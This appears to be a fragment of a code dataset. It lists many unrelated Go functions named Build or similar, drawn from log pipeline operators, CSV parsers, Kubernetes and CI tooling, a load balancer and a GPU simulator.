err)\n\t\t}\n\t} else {\n\t\tmatchesFirst = false\n\t\tprog, err = helper.ExprCompileBool(c.IsLastEntry)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"failed to compile is_last_entry: %w\", err)\n\t\t}\n\t}\n\n\tif c.CombineField.FieldInterface == nil {\n\t\treturn nil, fmt.Errorf(\"missing required argument 'combine_field'\")\n\t}\n\n\tvar overwriteWithOldest bool\n\tswitch c.OverwriteWith {\n\tcase \"newest\":\n\t\toverwriteWithOldest = false\n\tcase \"oldest\", \"\":\n\t\toverwriteWithOldest = true\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"invalid value '%s' for parameter 'overwrite_with'\", c.OverwriteWith)\n\t}\n\n\treturn &Transformer{\n\t\tTransformerOperator: transformer,\n\t\tmatchFirstLine: matchesFirst,\n\t\tprog: prog,\n\t\tmaxBatchSize: c.MaxBatchSize,\n\t\tmaxSources: c.MaxSources,\n\t\toverwriteWithOldest: overwriteWithOldest,\n\t\tbatchMap: make(map[string]*sourceBatch),\n\t\tbatchPool: sync.Pool{\n\t\t\tNew: func() interface{} {\n\t\t\t\treturn &sourceBatch{\n\t\t\t\t\tentries: []*entry.Entry{},\n\t\t\t\t\trecombined: &bytes.Buffer{},\n\t\t\t\t}\n\t\t\t},\n\t\t},\n\t\tcombineField: c.CombineField,\n\t\tcombineWith: c.CombineWith,\n\t\tforceFlushTimeout: c.ForceFlushTimeout,\n\t\tticker: time.NewTicker(c.ForceFlushTimeout),\n\t\tchClose: make(chan struct{}),\n\t\tsourceIdentifier: c.SourceIdentifier,\n\t\tmaxLogSize: int64(c.MaxLogSize),\n\t}, nil\n}","func (c Config) Build(logger *zap.SugaredLogger) (operator.Operator, error) {\n\tinputOperator, err := c.InputConfig.Build(logger)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif c.ListenAddress == \"\" {\n\t\treturn nil, fmt.Errorf(\"missing required parameter 'listen_address'\")\n\t}\n\n\taddress, err := net.ResolveUDPAddr(\"udp\", c.ListenAddress)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to resolve listen_address: %w\", err)\n\t}\n\n\tenc, err := decoder.LookupEncoding(c.Encoding)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Build multiline\n\tsplitFunc, err := c.Multiline.Build(enc, true, c.PreserveLeadingWhitespaces, c.PreserveTrailingWhitespaces, MaxUDPSize)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar resolver *helper.IPResolver\n\tif c.AddAttributes {\n\t\tresolver = helper.NewIPResolver()\n\t}\n\n\tudpInput := &Input{\n\t\tInputOperator: inputOperator,\n\t\taddress: address,\n\t\tbuffer: make([]byte, MaxUDPSize),\n\t\taddAttributes: c.AddAttributes,\n\t\tencoding: enc,\n\t\tsplitFunc: splitFunc,\n\t\tresolver: resolver,\n\t\tOneLogPerPacket: c.OneLogPerPacket,\n\t}\n\treturn udpInput, nil\n}","func (c Config) Build(logger *zap.SugaredLogger) (operator.Operator, error) {\n\tparserOperator, err := c.ParserConfig.Build(logger)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif c.FieldDelimiter == \"\" {\n\t\tc.FieldDelimiter = \",\"\n\t}\n\n\tif c.HeaderDelimiter == \"\" {\n\t\tc.HeaderDelimiter = c.FieldDelimiter\n\t}\n\n\tif c.IgnoreQuotes && c.LazyQuotes {\n\t\treturn nil, errors.New(\"only one of 'ignore_quotes' or 'lazy_quotes' can be true\")\n\t}\n\n\tfieldDelimiter := []rune(c.FieldDelimiter)[0]\n\theaderDelimiter := []rune(c.HeaderDelimiter)[0]\n\n\tif len([]rune(c.FieldDelimiter)) != 1 {\n\t\treturn nil, fmt.Errorf(\"invalid 'delimiter': '%s'\", c.FieldDelimiter)\n\t}\n\n\tif len([]rune(c.HeaderDelimiter)) != 1 {\n\t\treturn nil, fmt.Errorf(\"invalid 'header_delimiter': '%s'\", c.HeaderDelimiter)\n\t}\n\n\tvar headers []string\n\tswitch {\n\tcase c.Header == \"\" && c.HeaderAttribute == \"\":\n\t\treturn nil, errors.New(\"missing required field 'header' or 'header_attribute'\")\n\tcase c.Header != \"\" && c.HeaderAttribute != \"\":\n\t\treturn nil, errors.New(\"only one header parameter can be set: 'header' or 'header_attribute'\")\n\tcase c.Header != \"\" && !strings.Contains(c.Header, c.HeaderDelimiter):\n\t\treturn nil, errors.New(\"missing field delimiter in header\")\n\tcase c.Header != \"\":\n\t\theaders = strings.Split(c.Header, c.HeaderDelimiter)\n\t}\n\n\treturn &Parser{\n\t\tParserOperator: parserOperator,\n\t\theader: headers,\n\t\theaderAttribute: c.HeaderAttribute,\n\t\tfieldDelimiter: fieldDelimiter,\n\t\theaderDelimiter: headerDelimiter,\n\t\tlazyQuotes: c.LazyQuotes,\n\t\tignoreQuotes: c.IgnoreQuotes,\n\t\tparse: generateParseFunc(headers, fieldDelimiter, c.LazyQuotes, c.IgnoreQuotes),\n\t}, nil\n}","func (c Config) Build(logger *zap.SugaredLogger) (*DirectedPipeline, error) {\n\tif logger == nil {\n\t\treturn nil, errors.NewError(\"logger must be provided\", \"\")\n\t}\n\tif c.Operators == nil {\n\t\treturn nil, errors.NewError(\"operators must be specified\", \"\")\n\t}\n\n\tif len(c.Operators) == 0 {\n\t\treturn nil, errors.NewError(\"empty pipeline not allowed\", \"\")\n\t}\n\n\tsampledLogger := logger.Desugar().WithOptions(\n\t\tzap.WrapCore(func(core zapcore.Core) zapcore.Core {\n\t\t\treturn zapcore.NewSamplerWithOptions(core, time.Second, 1, 10000)\n\t\t}),\n\t).Sugar()\n\n\tdedeplucateIDs(c.Operators)\n\n\tops := make([]operator.Operator, 0, len(c.Operators))\n\tfor _, opCfg := range c.Operators {\n\t\top, err := opCfg.Build(sampledLogger)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tops = append(ops, op)\n\t}\n\n\tfor i, op := range ops {\n\t\t// Any operator that already has an output will not be changed\n\t\tif len(op.GetOutputIDs()) > 0 {\n\t\t\tcontinue\n\t\t}\n\n\t\t// Any operator (except the last) will just output to the next\n\t\tif i+1 < len(ops) {\n\t\t\top.SetOutputIDs([]string{ops[i+1].ID()})\n\t\t\tcontinue\n\t\t}\n\n\t\t// The last operator may output to the default output\n\t\tif op.CanOutput() && c.DefaultOutput != nil {\n\t\t\tops = append(ops, c.DefaultOutput)\n\t\t\top.SetOutputIDs([]string{ops[i+1].ID()})\n\t\t}\n\t}\n\n\treturn NewDirectedPipeline(ops)\n}","func Build(config map[string]interface{}) {\n}","func (c CSVParserConfig) Build(context operator.BuildContext) ([]operator.Operator, error) {\n\tparserOperator, err := c.ParserConfig.Build(context)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif c.Header == \"\" {\n\t\treturn nil, fmt.Errorf(\"Missing required field 'header'\")\n\t}\n\n\tif c.FieldDelimiter == \"\" {\n\t\tc.FieldDelimiter = \",\"\n\t}\n\n\tif len([]rune(c.FieldDelimiter)) != 1 {\n\t\treturn nil, fmt.Errorf(\"Invalid 'delimiter': '%s'\", c.FieldDelimiter)\n\t}\n\n\tfieldDelimiter := []rune(c.FieldDelimiter)[0]\n\n\tif !strings.Contains(c.Header, c.FieldDelimiter) {\n\t\treturn nil, fmt.Errorf(\"missing field delimiter in header\")\n\t}\n\n\tnumFields := len(strings.Split(c.Header, c.FieldDelimiter))\n\n\tdelimiterStr := string([]rune{fieldDelimiter})\n\tcsvParser := &CSVParser{\n\t\tParserOperator: parserOperator,\n\t\theader: strings.Split(c.Header, delimiterStr),\n\t\tfieldDelimiter: fieldDelimiter,\n\t\tnumFields: numFields,\n\t}\n\n\treturn []operator.Operator{csvParser}, nil\n}","func NewRestructureOperatorConfig(operatorID string) *RestructureOperatorConfig {\n\treturn &RestructureOperatorConfig{\n\t\tTransformerConfig: helper.NewTransformerConfig(operatorID, \"restructure\"),\n\t}\n}","func (runtime *Runtime) Build(claset tabula.ClasetInterface) (e error) {\n\t// Re-check input configuration.\n\tswitch runtime.SplitMethod {\n\tcase SplitMethodGini:\n\t\t// Do nothing.\n\tdefault:\n\t\t// Set default split method to Gini index.\n\t\truntime.SplitMethod = SplitMethodGini\n\t}\n\n\truntime.Tree.Root, e = runtime.splitTreeByGain(claset)\n\n\treturn\n}","func (c StdoutConfig) Build(context operator.BuildContext) ([]operator.Operator, error) {\n\toutputOperator, err := c.OutputConfig.Build(context)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\top := &StdoutOperator{\n\t\tOutputOperator: outputOperator,\n\t\tencoder: json.NewEncoder(Stdout),\n\t}\n\treturn []operator.Operator{op}, nil\n}","func New(config Config) (*Operator, error) {\n\t// Dependencies.\n\tif config.BackOff == nil {\n\t\treturn nil, microerror.Maskf(invalidConfigError, \"config.BackOff must not be empty\")\n\t}\n\tif config.Framework == nil {\n\t\treturn nil, microerror.Maskf(invalidConfigError, \"config.Framework must not be empty\")\n\t}\n\tif config.Informer == nil {\n\t\treturn nil, microerror.Maskf(invalidConfigError, \"config.Informer must not be empty\")\n\t}\n\tif config.Logger == nil {\n\t\treturn nil, microerror.Maskf(invalidConfigError, \"config.Logger must not be empty\")\n\t}\n\tif config.TPR == nil {\n\t\treturn nil, microerror.Maskf(invalidConfigError, \"config.TPR must not be empty\")\n\t}\n\n\tnewOperator := &Operator{\n\t\t// Dependencies.\n\t\tbackOff: config.BackOff,\n\t\tframework: config.Framework,\n\t\tinformer: config.Informer,\n\t\tlogger: config.Logger,\n\t\ttpr: config.TPR,\n\n\t\t// Internals\n\t\tbootOnce: sync.Once{},\n\t\tmutex: sync.Mutex{},\n\t}\n\n\treturn newOperator, nil\n}","func BuildOperator(ctx context.Context) error {\n\tfmt.Println(\"Running operator binary build\")\n\tout, err := goBuild(\"bin/operator\", \"./operator\")\n\tif err != nil {\n\t\treturn err\n\t}\n\tfmt.Println(\"Finished building operator\")\n\tfmt.Println(\"Command Output: \", out)\n\n\treturn nil\n}","func (config *Config) Build() (Buffer, error) {\n\tswitch config.BufferType {\n\tcase \"memory\", \"\":\n\t\treturn NewMemoryBuffer(config), nil\n\tdefault:\n\t\treturn nil, errors.NewError(\n\t\t\tfmt.Sprintf(\"Invalid buffer type %s\", config.BufferType),\n\t\t\t\"The only supported buffer type is 'memory'\",\n\t\t)\n\t}\n}","func Build(crw conf.Rewrites) (Rewrites, error) {\n\tvar rw Rewrites\n\tfor _, cr := range crw.Rewrite {\n\t\tr := Rewrite{\n\t\t\tFrom: cr.From,\n\t\t\tTo: cr.To,\n\t\t\tCopy: cr.Copy,\n\t\t}\n\n\t\trw = append(rw, r)\n\t}\n\n\terr := rw.Compile()\n\tif err != nil {\n\t\treturn rw, errors.Wrap(err, \"rewrite rule compilation failed :\")\n\t}\n\n\treturn rw, nil\n}","func Build(namespace, name, strategyType, fromKind, fromNamespace, fromName string) buildapi.Build {\n\treturn buildapi.Build{\n\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\tNamespace: namespace,\n\t\t\tName: name,\n\t\t\tSelfLink: \"/build/\" + name,\n\t\t},\n\t\tSpec: buildapi.BuildSpec{\n\t\t\tCommonSpec: CommonSpec(strategyType, fromKind, fromNamespace, fromName),\n\t\t},\n\t}\n}","func (c *config) Build() *dataX.Config {\n\treturn &dataX.Config{}\n}","func (s *spec) build(state State, more ...State) (*spec, error) {\n\tstates := map[Index]State{\n\t\tstate.Index: state,\n\t}\n\n\tfor _, st := range more {\n\t\tif _, has := states[st.Index]; has {\n\t\t\terr := ErrDuplicateState{spec: s, Index: st.Index}\n\t\t\treturn s, err\n\t\t}\n\t\tstates[st.Index] = st\n\t}\n\n\t// check referential integrity\n\tsignals, err := s.compile(states)\n\tif err != nil {\n\t\treturn s, err\n\t}\n\n\ts.states = states\n\ts.signals = signals\n\treturn s, err\n}","func Build(log logrus.FieldLogger, s store.Storer) (*kongstate.KongState, error) {\n\tparsedAll := parseAll(log, s)\n\tparsedAll.populateServices(log, s)\n\n\tvar result kongstate.KongState\n\t// add the routes and services to the state\n\tfor _, service := range parsedAll.ServiceNameToServices {\n\t\tresult.Services = append(result.Services, service)\n\t}\n\n\t// generate Upstreams and Targets from service defs\n\tresult.Upstreams = getUpstreams(log, s, parsedAll.ServiceNameToServices)\n\n\t// merge KongIngress with Routes, Services and Upstream\n\tresult.FillOverrides(log, s)\n\n\t// generate consumers and credentials\n\tresult.FillConsumersAndCredentials(log, s)\n\n\t// process annotation plugins\n\tresult.FillPlugins(log, s)\n\n\t// generate Certificates and SNIs\n\tresult.Certificates = getCerts(log, s, parsedAll.SecretNameToSNIs)\n\n\t// populate CA certificates in Kong\n\tvar err error\n\tcaCertSecrets, err := s.ListCACerts()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tresult.CACertificates = toCACerts(log, caCertSecrets)\n\n\treturn &result, nil\n}","func (c *Config) Build() *Godim {\n\tif c.appProfile == nil {\n\t\tc.appProfile = newAppProfile()\n\t}\n\tc.appProfile.lock()\n\tif c.activateES {\n\t\tc.eventSwitch = NewEventSwitch(c.bufferSize)\n\t}\n\treturn NewGodim(c)\n}","func (b Builder) Build(q string, opts ...Option) (*ast.Ast, error) {\n\tf, err := Parse(\"\", []byte(q), opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn f.(*ast.Ast), nil\n}","func (o FunctionBuildConfigOutput) Build() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v FunctionBuildConfig) *string { return v.Build }).(pulumi.StringPtrOutput)\n}","func (m *Module) Build(s *system.System) {\n\tr := s.CommandRouter\n\n\tt, err := system.NewSubCommandRouter(`^config(\\s|$)`, \"config\")\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn\n\t}\n\tt.Router.Prefix = \"^\"\n\tr.AddSubrouter(t)\n\n\tt.CommandRoute = &system.CommandRoute{\n\t\tName: \"config\",\n\t\tDesc: \"configures guild settings\",\n\t\tHandler: Auth(CmdConfig),\n\t}\n\n\tk := t.Router\n\tk.On(\"prefix\", Auth(CmdPrefix)).Set(\"\", \"sets the guild command prefix\")\n\tk.On(\"admins\", Auth(CmdAdmins)).Set(\"\", \"sets the admin list\")\n}","func (c *Config) Build() weather.Provider {\n\t// Build the OWM URL.\n\twURL := url.URL{\n\t\tScheme: \"http\",\n\t\tHost: \"api.wunderground.com\",\n\t\tPath: fmt.Sprintf(\"/api/%s/conditions/q/%s.json\", c.apiKey, c.query),\n\t}\n\treturn Provider(wURL.String())\n}","func (b Builder) Build(name string) *CommandProcessor {\n\tcp := new(CommandProcessor)\n\tcp.TickingComponent = sim.NewTickingComponent(name, b.engine, b.freq, cp)\n\n\tunlimited := math.MaxInt32\n\tcp.ToDriver = sim.NewLimitNumMsgPort(cp, 1, name+\".ToDriver\")\n\tcp.toDriverSender = akitaext.NewBufferedSender(\n\t\tcp.ToDriver, buffering.NewBuffer(unlimited))\n\tcp.ToDMA = sim.NewLimitNumMsgPort(cp, 1, name+\".ToDispatcher\")\n\tcp.toDMASender = akitaext.NewBufferedSender(\n\t\tcp.ToDMA, buffering.NewBuffer(unlimited))\n\tcp.ToCUs = sim.NewLimitNumMsgPort(cp, 1, name+\".ToCUs\")\n\tcp.toCUsSender = akitaext.NewBufferedSender(\n\t\tcp.ToDMA, buffering.NewBuffer(unlimited))\n\tcp.ToTLBs = sim.NewLimitNumMsgPort(cp, 1, name+\".ToTLBs\")\n\tcp.toTLBsSender = akitaext.NewBufferedSender(\n\t\tcp.ToDMA, buffering.NewBuffer(unlimited))\n\tcp.ToRDMA = sim.NewLimitNumMsgPort(cp, 1, name+\".ToRDMA\")\n\tcp.toRDMASender = akitaext.NewBufferedSender(\n\t\tcp.ToDMA, buffering.NewBuffer(unlimited))\n\tcp.ToPMC = sim.NewLimitNumMsgPort(cp, 1, name+\".ToPMC\")\n\tcp.toPMCSender = akitaext.NewBufferedSender(\n\t\tcp.ToDMA, buffering.NewBuffer(unlimited))\n\tcp.ToAddressTranslators = sim.NewLimitNumMsgPort(cp, 1,\n\t\tname+\".ToAddressTranslators\")\n\tcp.toAddressTranslatorsSender = akitaext.NewBufferedSender(\n\t\tcp.ToDMA, buffering.NewBuffer(unlimited))\n\tcp.ToCaches = sim.NewLimitNumMsgPort(cp, 1, name+\".ToCaches\")\n\tcp.toCachesSender = akitaext.NewBufferedSender(\n\t\tcp.ToDMA, buffering.NewBuffer(unlimited))\n\n\tcp.bottomKernelLaunchReqIDToTopReqMap =\n\t\tmake(map[string]*protocol.LaunchKernelReq)\n\tcp.bottomMemCopyH2DReqIDToTopReqMap =\n\t\tmake(map[string]*protocol.MemCopyH2DReq)\n\tcp.bottomMemCopyD2HReqIDToTopReqMap =\n\t\tmake(map[string]*protocol.MemCopyD2HReq)\n\n\tb.buildDispatchers(cp)\n\n\tif b.visTracer != nil {\n\t\ttracing.CollectTrace(cp, b.visTracer)\n\t}\n\n\treturn cp\n}","func (c *SplitterConfig) Build(flushAtEOF bool, maxLogSize int) (*Splitter, error) {\n\tenc, err := c.EncodingConfig.Build()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tflusher := c.Flusher.Build()\n\tsplitFunc, err := c.Multiline.Build(enc.Encoding, flushAtEOF, c.PreserveLeadingWhitespaces, c.PreserveTrailingWhitespaces, flusher, maxLogSize)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &Splitter{\n\t\tEncoding: enc,\n\t\tFlusher: flusher,\n\t\tSplitFunc: splitFunc,\n\t}, nil\n}","func Build(ns string, app *parser.Appfile) (*v1alpha2.ApplicationConfiguration, []*v1alpha2.Component, error) {\n\tb := &builder{app}\n\treturn b.CompleteWithContext(ns)\n}","func (b *Builder) Build() Interface {\n\tswitch {\n\tcase b.path != \"\":\n\t\tfSys := fs.NewDocumentFs()\n\t\treturn NewKubeConfig(FromFile(b.path, fSys), InjectFilePath(b.path, fSys), InjectTempRoot(b.root))\n\tcase b.fromParent():\n\t\t// TODO add method that would get kubeconfig from parent cluster and glue it together\n\t\t// with parent kubeconfig if needed\n\t\treturn NewKubeConfig(func() ([]byte, error) {\n\t\t\treturn nil, errors.ErrNotImplemented{}\n\t\t})\n\tcase b.bundlePath != \"\":\n\t\treturn NewKubeConfig(FromBundle(b.bundlePath), InjectTempRoot(b.root))\n\tdefault:\n\t\tfSys := fs.NewDocumentFs()\n\t\t// return default path to kubeconfig file in airship workdir\n\t\tpath := filepath.Join(util.UserHomeDir(), config.AirshipConfigDir, KubeconfigDefaultFileName)\n\t\treturn NewKubeConfig(FromFile(path, fSys), InjectFilePath(path, fSys), InjectTempRoot(b.root))\n\t}\n}","func (c *Compiler) Compile(conf *yaml.Config) *backend.Config {\n\tconfig := new(backend.Config)\n\n\t// create a default volume\n\tconfig.Volumes = append(config.Volumes, &backend.Volume{\n\t\tName: fmt.Sprintf(\"%s_default\", c.prefix),\n\t\tDriver: \"local\",\n\t})\n\n\t// create a default network\n\tconfig.Networks = append(config.Networks, &backend.Network{\n\t\tName: fmt.Sprintf(\"%s_default\", c.prefix),\n\t\tDriver: \"bridge\",\n\t})\n\n\t// overrides the default workspace paths when specified\n\t// in the YAML file.\n\tif len(conf.Workspace.Base) != 0 {\n\t\tc.base = conf.Workspace.Base\n\t}\n\tif len(conf.Workspace.Path) != 0 {\n\t\tc.path = conf.Workspace.Path\n\t}\n\n\t// add default clone step\n\tif c.local == false && len(conf.Clone.Containers) == 0 {\n\t\tcontainer := &yaml.Container{\n\t\t\tName: \"clone\",\n\t\t\tImage: \"crun/git:latest\",\n\t\t\tVargs: map[string]interface{}{\"depth\": \"0\"},\n\t\t}\n\t\tswitch c.metadata.Sys.Arch {\n\t\tcase \"linux/arm\":\n\t\t\tcontainer.Image = \"crun/git:linux-arm\"\n\t\tcase \"linux/arm64\":\n\t\t\tcontainer.Image = \"crun/git:linux-arm64\"\n\t\t}\n\t\tname := fmt.Sprintf(\"%s_clone\", c.prefix)\n\t\tstep := c.createProcess(name, container, \"clone\")\n\n\t\tstage := new(backend.Stage)\n\t\tstage.Name = name\n\t\tstage.Alias = \"clone\"\n\t\tstage.Steps = append(stage.Steps, step)\n\n\t\tconfig.Stages = append(config.Stages, stage)\n\t} else if c.local == false {\n\t\tfor i, container := range conf.Clone.Containers {\n\t\t\tif !container.Constraints.Match(c.metadata) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tstage := new(backend.Stage)\n\t\t\tstage.Name = fmt.Sprintf(\"%s_clone_%v\", c.prefix, i)\n\t\t\tstage.Alias = container.Name\n\n\t\t\tname := fmt.Sprintf(\"%s_clone_%d\", c.prefix, i)\n\t\t\tstep := c.createProcess(name, container, \"clone\")\n\t\t\tstage.Steps = append(stage.Steps, step)\n\n\t\t\tconfig.Stages = append(config.Stages, stage)\n\t\t}\n\t}\n\n\t// c.setupCache2(conf, config)\n\tc.RestoreCache(conf, config)\n\n\t// add services steps\n\tif len(conf.Services.Containers) != 0 {\n\t\tstage := new(backend.Stage)\n\t\tstage.Name = fmt.Sprintf(\"%s_services\", c.prefix)\n\t\tstage.Alias = \"services\"\n\n\t\tfor i, container := range conf.Services.Containers {\n\t\t\tif !container.Constraints.Match(c.metadata) {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tname := fmt.Sprintf(\"%s_services_%d\", c.prefix, i)\n\t\t\tstep := c.createProcess(name, container, \"services\")\n\t\t\tstage.Steps = append(stage.Steps, step)\n\n\t\t}\n\t\tconfig.Stages = append(config.Stages, stage)\n\t}\n\n\t// add pipeline steps. 1 pipeline step per stage, at the moment\n\tvar stage *backend.Stage\n\tvar group string\n\tfor i, container := range conf.Pipeline.Containers {\n\t\t//Skip if local and should not run local\n\t\tif c.local && !container.Constraints.Local.Bool() {\n\t\t\tcontinue\n\t\t}\n\n\t\tif !container.Constraints.Match(c.metadata) {\n\t\t\tcontinue\n\t\t}\n\n\t\tif stage == nil || group != container.Group || container.Group == \"\" {\n\t\t\tgroup = container.Group\n\n\t\t\tstage = new(backend.Stage)\n\t\t\tstage.Name = fmt.Sprintf(\"%s_stage_%v\", c.prefix, i)\n\t\t\tstage.Alias = container.Name\n\t\t\tconfig.Stages = append(config.Stages, stage)\n\t\t}\n\n\t\tname := fmt.Sprintf(\"%s_step_%d\", c.prefix, i)\n\t\tstep := c.createProcess(name, container, \"pipeline\")\n\t\tstage.Steps = append(stage.Steps, step)\n\t}\n\n\t// c.setupCacheRebuild2(conf, config)\n\tc.SaveCache(conf, config)\n\n\treturn config\n}","func (c *configLoader) Build() (*koanf.Koanf, prometheus.MultiError) {\n\tvar warnings prometheus.MultiError\n\n\tconfig := make(map[string]interface{})\n\tpriorities := make(map[string]int)\n\n\tfor _, item := range c.items {\n\t\t_, configExists := config[item.Key]\n\t\tpreviousPriority := priorities[item.Key]\n\n\t\tswitch {\n\t\t// Higher priority items overwrite previous values.\n\t\tcase !configExists || previousPriority < item.Priority:\n\t\t\tconfig[item.Key] = item.Value\n\t\t\tpriorities[item.Key] = item.Priority\n\t\t// Same priority items are merged (slices are appended and maps are merged).\n\t\tcase previousPriority == item.Priority:\n\t\t\tvar err error\n\n\t\t\tconfig[item.Key], err = merge(config[item.Key], item.Value)\n\t\t\twarnings.Append(err)\n\t\t// Previous item has higher priority, nothing to do.\n\t\tcase previousPriority > item.Priority:\n\t\t}\n\t}\n\n\tk := koanf.New(delimiter)\n\terr := k.Load(confmap.Provider(config, delimiter), nil)\n\twarnings.Append(err)\n\n\treturn k, warnings\n}","func (rb *PipelineConfigBuilder) Build() PipelineConfig {\n\treturn *rb.v\n}","func buildConfig(opts []Option) config {\n\tc := config{\n\t\tclock: clock.New(),\n\t\tslack: 10,\n\t\tper: time.Second,\n\t}\n\n\tfor _, opt := range opts {\n\t\topt.apply(&c)\n\t}\n\treturn c\n}","func (o Opearion) Build() string {\n\treturn o.Operation + \" \"\n}","func BuildFromString(config string, logger core.Logger) (*Config, error) {\n\tc := NewConfig(logger)\n\tif err := gcfg.ReadStringInto(c, config); err != nil {\n\t\treturn nil, err\n\t}\n\treturn c, nil\n}","func make() *Config {\n\t// instantiating configuration\n\tconf = &Config{}\n\n\t// filling the structure\n\terr := iterateTemplate(conf, false)\n\n\tcheckError(err)\n\n\t// parsing set flags\n\tflag.Parse()\n\n\tif conf.Basic.Debug {\n\t\tprintConfToLog(conf)\n\t}\n\n\treturn conf\n}","func (sb *StreamBuilder) Build() (*Topology, []error) {\n\treturn sb.tp.Build()\n}","func (o FunctionBuildConfigPtrOutput) Build() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v *FunctionBuildConfig) *string {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.Build\n\t}).(pulumi.StringPtrOutput)\n}","func makeIndexBuilder(c Configuration) IndexBuilder {\n\tif c.BuildIndexStrategy == \"Concurrent\" {\n\t\treturn BuildIndexConcurrent{}\n\t}\n\tif c.BuildIndexStrategy == \"Iterative\" {\n\t\treturn BuildIndexWithWalk{}\n\t}\n\tfmt.Println(os.Stderr, \"Invalid configuration value for GOCATE_BUILD_INDEX_STRATEGY. Please set it to Concurrent or Iterative. Choosing Default.\")\n\treturn BuildIndexConcurrent{}\n}","func (n *ShiftNode) Build(s *pipeline.ShiftNode) (ast.Node, error) {\n\tn.Pipe(\"shift\", s.Shift)\n\treturn n.prev, n.err\n}","func (b *DiffConfigBuilder) Build() (DiffConfig, error) {\n\terr := b.diffConfig.Validate()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn b.diffConfig, nil\n}","func (c *LogAnalyticsInputConfig) Build(buildContext operator.BuildContext) ([]operator.Operator, error) {\n\tif err := c.AzureConfig.Build(buildContext, c.InputConfig); err != nil {\n\t\treturn nil, err\n\t}\n\n\tlogAnalyticsInput := &LogAnalyticsInput{\n\t\tEventHub: azure.EventHub{\n\t\t\tAzureConfig: c.AzureConfig,\n\t\t\tPersist: &azure.Persister{\n\t\t\t\tDB: helper.NewScopedDBPersister(buildContext.Database, c.ID()),\n\t\t\t},\n\t\t},\n\t\tjson: jsoniter.ConfigFastest,\n\t}\n\treturn []operator.Operator{logAnalyticsInput}, nil\n}","func (b *Builder) Build() (err error) {\n\tdefer func() {\n\t\tif r := recover(); r != nil {\n\t\t\t// This code allows us to propagate errors without adding lots of checks\n\t\t\t// for `if err != nil` throughout the construction code. This is only\n\t\t\t// possible because the code does not update shared state and does not\n\t\t\t// manipulate locks.\n\t\t\tif ok, e := errorutil.ShouldCatch(r); ok {\n\t\t\t\terr = e\n\t\t\t} else {\n\t\t\t\tpanic(r)\n\t\t\t}\n\t\t}\n\t}()\n\n\t// TODO (rohany): We shouldn't be modifying the semaCtx passed to the builder\n\t// but we unfortunately rely on mutation to the semaCtx. We modify the input\n\t// semaCtx during building of opaque statements, and then expect that those\n\t// mutations are visible on the planner's semaCtx.\n\n\t// Hijack the input TypeResolver in the semaCtx to record all of the user\n\t// defined types that we resolve while building this query.\n\texistingResolver := b.semaCtx.TypeResolver\n\t// Ensure that the original TypeResolver is reset after.\n\tdefer func() { b.semaCtx.TypeResolver = existingResolver }()\n\ttypeTracker := &optTrackingTypeResolver{\n\t\tres: b.semaCtx.TypeResolver,\n\t\tmetadata: b.factory.Metadata(),\n\t}\n\tb.semaCtx.TypeResolver = typeTracker\n\n\t// Special case for CannedOptPlan.\n\tif canned, ok := b.stmt.(*tree.CannedOptPlan); ok {\n\t\tb.factory.DisableOptimizations()\n\t\t_, err := exprgen.Build(b.catalog, b.factory, canned.Plan)\n\t\treturn err\n\t}\n\n\t// Build the memo, and call SetRoot on the memo to indicate the root group\n\t// and physical properties.\n\toutScope := b.buildStmtAtRoot(b.stmt, nil /* desiredTypes */)\n\n\tphysical := outScope.makePhysicalProps()\n\tb.factory.Memo().SetRoot(outScope.expr, physical)\n\treturn nil\n}","func NewOperator(config Config, deps Dependencies) (*Operator, error) {\n\to := &Operator{\n\t\tConfig: config,\n\t\tDependencies: deps,\n\t\tlog: deps.LogService.MustGetLogger(\"operator\"),\n\t\tdeployments: make(map[string]*deployment.Deployment),\n\t\tdeploymentReplications: make(map[string]*replication.DeploymentReplication),\n\t\tlocalStorages: make(map[string]*storage.LocalStorage),\n\t}\n\treturn o, nil\n}","func (lb *LB) Build(conf config.Config) *LB {\n\tswitch conf.Balancing {\n\tcase \"ip-hash\":\n\t\tih, err := iphash.New(conf.Servers.GetAddress())\n\t\tif err != nil {\n\t\t\tglg.Fatalln(errors.Wrap(err, \"ip-hash algorithm\"))\n\t\t}\n\n\t\tlb.balancing = b.New(ih)\n\t\tlb.Handler = http.HandlerFunc(lb.ipHashBalancing)\n\tcase \"round-robin\":\n\t\trr, err := roundrobin.New(conf.Servers.GetAddress())\n\t\tif err != nil {\n\t\t\tglg.Fatalln(errors.Wrap(err, \"round-robin algorithm\"))\n\t\t}\n\n\t\tlb.balancing = b.New(rr)\n\t\tlb.Handler = http.HandlerFunc(lb.roundRobinBalancing)\n\tcase \"least-connections\":\n\t\tlc, err := leastconnections.New(conf.Servers.GetAddress())\n\t\tif err == nil {\n\t\t\tglg.Fatalln(errors.Wrap(err, \"least-connections algorithm\"))\n\t\t}\n\n\t\tlb.balancing = b.New(lc)\n\t\tlb.Handler = http.HandlerFunc(lb.ipHashBalancing)\n\tdefault:\n\t\tglg.Fatalln(errors.Wrap(ErrInvalidBalancingAlgorithm, conf.Balancing))\n\t}\n\n\treturn lb\n}","func Build(kubeClient *client.Client) (*RouterConfig, error) {\n\t// Get all relevant information from k8s:\n\t// deis-router rc\n\t// All services with label \"routable=true\"\n\t// deis-builder service, if it exists\n\t// These are used to construct a model...\n\trouterRC, err := getRC(kubeClient)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tappServices, err := 